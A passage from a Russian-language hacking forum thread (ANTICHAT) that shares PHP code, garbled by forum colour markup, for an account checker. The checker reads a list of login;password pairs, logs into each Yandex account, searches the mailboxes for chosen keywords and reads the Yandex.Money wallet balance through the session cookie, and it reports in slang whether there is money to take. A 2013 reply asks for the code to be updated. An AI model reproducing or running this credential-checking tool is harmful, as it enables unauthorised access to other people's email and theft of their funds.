while(![/COLOR][COLOR="#0000BB"]feof[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$sock[/COLOR][COLOR="#007700"])){

[/
COLOR][COLOR="#0000BB"]$line[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#0000BB"]fgets[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$sock[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]1024[/COLOR][COLOR="#007700"]);

}

[/
COLOR][COLOR="#0000BB"]$line[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$line[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]strpos[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$line[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"\r\n\r\n"[/COLOR][COLOR="#007700"]) +[/COLOR][COLOR="#0000BB"]4[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]$line[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]http_chunked_decode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$line[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]$line[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]iconv[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"utf-8"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"windows-1251//IGNORE"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$line[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]$patternNF[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"|Нет писем, соответствующих запросу|"[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]$patternF[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"|Вы также можете воспользоваться|"[/COLOR][COLOR="#007700"];

if ([/COLOR][COLOR="#0000BB"]preg_match[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$patternNF[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$line[/COLOR][COLOR="#007700"])){

echo[/COLOR][COLOR="#DD0000"]"По запросу \"[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$ssearch[/COLOR][COLOR="#007700"]}[/COLOR][COLOR="#DD0000"]\" писем не найдено
"[/COLOR][COLOR="#007700"];

}

else if ([/COLOR][COLOR="#0000BB"]preg_match[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$patternF[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$line[/COLOR][COLOR="#007700"])) {

echo[/COLOR][COLOR="#DD0000"]"По запросу \"[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$ssearch[/COLOR][COLOR="#007700"]}[/COLOR][COLOR="#DD0000"]\" чет нашлось:
"[/COLOR][COLOR="#007700"];

[/COLOR][COLOR="#0000BB"]$pattern[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'#]+>([^.+?b-grid__quote" title=[\'"](.+?)[\'"]>.+?b-grid__date" title=[\'"](.+?)[\'"]>#'[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]preg_match_all[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$pattern[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$line[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$matches[/COLOR][COLOR="#007700"]);

echo[/COLOR][COLOR="#DD0000"]"\n"[/COLOR][COLOR="#007700"];

for([/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]\n"[/COLOR][COLOR="#007700"];

echo[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$matches[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]]}[/COLOR][COLOR="#DD0000"]&nbsp;"[/COLOR][COLOR="#007700"];

echo[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$matches[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]]}[/COLOR][COLOR="#DD0000"]&nbsp;"[/COLOR][COLOR="#007700"];

echo[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$matches[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]3[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]]}[/COLOR][COLOR="#DD0000"]&nbsp;"[/COLOR][COLOR="#007700"];

echo[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$matches[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]4[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]]}[/COLOR][COLOR="#DD0000"]&nbsp;"[/COLOR][COLOR="#007700"];

echo[/COLOR][COLOR="#DD0000"]"\n"[/COLOR][COLOR="#007700"];

}

echo[/COLOR][COLOR="#DD0000"]"\n"[/COLOR][COLOR="#007700"];

} else {

echo[/COLOR][COLOR="#DD0000"]"Неведомая хуита
"
[/COLOR][COLOR="#007700"];

}

[/
COLOR][COLOR="#0000BB"]fclose[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$sock[/COLOR][COLOR="#007700"]);

}

public function[/COLOR][COLOR="#0000BB"]CheckMoney[/COLOR][COLOR="#007700"](){

if(![/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]user_cookie[/COLOR][COLOR="#007700"]){

echo[/COLOR][COLOR="#DD0000"]"Please login
"
[/COLOR][COLOR="#007700"];

return[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"];

}

[/
COLOR][COLOR="#0000BB"]$sock[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]fsockopen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"money.yandex.ru"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]80[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$errno[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$errstr[/COLOR][COLOR="#007700"]);

if(![/COLOR][COLOR="#0000BB"]$sock[/COLOR][COLOR="#007700"]) {

echo[/COLOR][COLOR="#DD0000"]"Couldn't open socket!"[/COLOR][COLOR="#007700"];

return[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"];

}

[/
COLOR][COLOR="#0000BB"]$headers[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"GET / HTTP/1.1\r\n"[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]$headers[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]"User-Agent: Opera\r\n"[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]$headers[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]"Host: money.yandex.ru\r\n"[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]$headers[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]"Connection: Close\r\n"[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]$headers[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]"Accept:text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\n"[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]$headers[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]"Cookie:[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]user_cookie[/COLOR][COLOR="#007700"]}[/COLOR][COLOR="#DD0000"]\r\n\r\n"[/COLOR][COLOR="#007700"];

[/COLOR][COLOR="#0000BB"]fwrite[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$sock[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$headers[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]$line[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"];

while(![/COLOR][COLOR="#0000BB"]feof[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$sock[/COLOR][COLOR="#007700"])){

[/
COLOR][COLOR="#0000BB"]$line[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#0000BB"]fgets[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$sock[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]1024[/COLOR][COLOR="#007700"]);

}

[/
COLOR][COLOR="#0000BB"]$patternNYD[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"|удобный и безопасный способ платить за телефон|"[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]$patternNM[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'||'[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]$patternM[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'|icons-sprite spr-wallet.+\n.+?([^Нет кошеля
"[/COLOR][COLOR="#007700"];

}

else if ([/COLOR][COLOR="#0000BB"]preg_match[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$patternNM[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$line[/COLOR][COLOR="#007700"])){

echo[/COLOR][COLOR="#DD0000"]"Кошель есть, но девственник
"[/COLOR][COLOR="#007700"];

}

else if ([/COLOR][COLOR="#0000BB"]preg_match[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$patternM[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$line[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$matches[/COLOR][COLOR="#007700"])){

echo[/COLOR][COLOR="#DD0000"]"Есть бабло:[/COLOR][COLOR="#0000BB"]$matches[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]][/COLOR][COLOR="#DD0000"]
"[/COLOR][COLOR="#007700"];

}

else {

echo[/COLOR][COLOR="#DD0000"]"Неведомая хуита
"[/COLOR][COLOR="#007700"];

}

}

}

[/COLOR][COLOR="#0000BB"]?>

[/COLOR][/COLOR] 
YandexFinder.php

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]"[/COLOR][COLOR="#007700"];

[/COLOR][COLOR="#0000BB"]$filep[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]fopen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$filename[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"r"[/COLOR][COLOR="#007700"]);

if(![/
COLOR][COLOR="#0000BB"]$filep[/COLOR][COLOR="#007700"])

die([/COLOR][COLOR="#DD0000"]"File opennig error!
"
[/COLOR][COLOR="#007700"]);

while (![/COLOR][COLOR="#0000BB"]feof[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$filep[/COLOR][COLOR="#007700"])) {

[/
COLOR][COLOR="#0000BB"]$acc[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]trim[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]fgets[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$filep[/COLOR][COLOR="#007700"]));

[/
COLOR][COLOR="#0000BB"]$acc[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]str_replace[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"\r\n"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$acc[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]$pair[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]explode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]";"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$acc[/COLOR][COLOR="#007700"]);

if([/COLOR][COLOR="#0000BB"]count[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$pair[/COLOR][COLOR="#007700"]) >[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"]) {

echo[/COLOR][COLOR="#DD0000"]"Password contains ;
"
[/COLOR][COLOR="#007700"];

continue;

}

if([/COLOR][COLOR="#0000BB"]strlen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$acc[/COLOR][COLOR="#007700"]) >[/COLOR][COLOR="#0000BB"]5[/COLOR][COLOR="#007700"]){

[/
COLOR][COLOR="#0000BB"]$yandexer[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]login[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$pair[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]$pair[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]]);

foreach ([/COLOR][COLOR="#0000BB"]$search[/COLOR][COLOR="#007700"]as[/COLOR][COLOR="#0000BB"]$find[/COLOR][COLOR="#007700"])[/COLOR][COLOR="#FF8000"]// комментим эти две строки,

[/COLOR][COLOR="#0000BB"]$yandexer[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]SearchLetters[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$find[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#FF8000"]// если хотим только ЯД чекать

[/COLOR][COLOR="#0000BB"]$yandexer[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]CheckMoney[/COLOR][COLOR="#007700"]();[/COLOR][COLOR="#FF8000"]//смотрим баланс

[/COLOR][COLOR="#007700"]echo[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"];

}

}

echo[/
COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]?>

[/COLOR][/COLOR] 
Правда не работает пока, если у юзера такая штука:

 
Ответить с цитированием

  #9  
Старый 28.10.2013, 04:00
Fooog
Постоянный
Регистрация: 19.09.2008
Сообщений: 511
Провел на форуме:
1866685

Репутация: 340


Отправить сообщение для Fooog с помощью ICQ Отправить сообщение для Fooog с помощью AIM Отправить сообщение для Fooog с помощью Yahoo
По умолчанию

нашел я что.. но вот незадача. 2013 на дворе. Кто пхп знать, мог бы под наше время код оптимизировать? сразу +10 в карму оптимизатору)
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ